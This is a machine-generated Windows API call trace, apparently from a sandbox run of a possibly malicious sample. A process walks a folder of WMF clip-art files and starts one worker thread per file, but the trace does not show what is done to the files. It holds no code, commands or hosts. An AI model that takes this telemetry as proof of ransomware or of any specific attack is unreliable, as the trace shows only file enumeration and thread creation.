	[0238.178] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105530.WMF", cAlternateFileName="")) returned 1
	[0238.178] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17e0
	[0238.180] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.181] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x542c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105588.WMF", cAlternateFileName="")) returned 1
	[0238.181] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.182] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17e4
	[0238.184] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.185] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105600.WMF", cAlternateFileName="")) returned 1
	[0238.185] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.186] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17e8
	[0238.187] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.188] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105638.WMF", cAlternateFileName="")) returned 1
	[0238.188] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17ec
	[0238.267] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.267] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35f0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105710.WMF", cAlternateFileName="")) returned 1
	[0238.267] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.268] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17f0
	[0238.269] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.270] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2030, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105846.WMF", cAlternateFileName="")) returned 1
	[0238.270] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17f4
	[0238.271] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.272] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2dc8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105912.WMF", cAlternateFileName="")) returned 1
	[0238.272] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17f8
	[0238.274] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.274] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105974.WMF", cAlternateFileName="")) returned 1
	[0238.274] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.275] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17fc
	[0238.276] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.276] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x274c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0106020.WMF", cAlternateFileName="")) returned 1
	[0238.276] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.277] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1804
	[0238.278] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.278] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0106124.WMF", cAlternateFileName="")) returned 1
	[0238.278] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.279] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1808
	[0238.280] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.280] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5bfc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0106146.WMF", cAlternateFileName="")) returned 1
	[0238.280] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x180c
	[0238.282] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.282] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2e7c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0106208.WMF", cAlternateFileName="")) returned 1
	[0238.282] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.283] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1810
	[0238.284] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.284] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c90, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0106222.WMF", cAlternateFileName="")) returned 1
	[0238.290] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.291] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1814
	[0238.292] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.292] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x864, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0106572.WMF", cAlternateFileName="")) returned 1
	[0238.292] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1818
	[0238.294] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.295] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0106816.WMF", cAlternateFileName="")) returned 1
	[0238.295] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x181c
	[0238.296] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.297] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35d8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0106958.WMF", cAlternateFileName="")) returned 1
	[0238.297] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.297] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1820
	[0238.299] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.299] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbcc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107024.WMF", cAlternateFileName="")) returned 1
	[0238.299] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.300] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1824
	[0238.301] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.302] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1dd0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107026.WMF", cAlternateFileName="")) returned 1
	[0238.302] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1828
	[0238.304] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.304] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2358, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107042.WMF", cAlternateFileName="")) returned 1
	[0238.304] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.305] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x182c
	[0238.362] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.363] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107090.WMF", cAlternateFileName="")) returned 1
	[0238.363] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.364] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1830
	[0238.365] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.366] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x69cc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107130.WMF", cAlternateFileName="")) returned 1
	[0238.366] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.366] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1834
	[0238.367] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.368] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbcfc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107132.WMF", cAlternateFileName="")) returned 1
	[0238.368] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.368] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1838
	[0238.369] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.370] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbd04, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107134.WMF", cAlternateFileName="")) returned 1
	[0238.370] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.370] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x183c
	[0238.372] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.373] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4330, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107138.WMF", cAlternateFileName="")) returned 1
	[0238.373] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.373] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1840
	[0238.374] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.374] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107146.WMF", cAlternateFileName="")) returned 1
	[0238.375] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.375] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1844
	[0238.376] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.377] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107148.WMF", cAlternateFileName="")) returned 1
	[0238.377] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.377] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1848
	[0238.379] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.379] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3490, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107150.WMF", cAlternateFileName="")) returned 1
	[0238.379] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.380] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4df690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x184c
	[0238.381] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
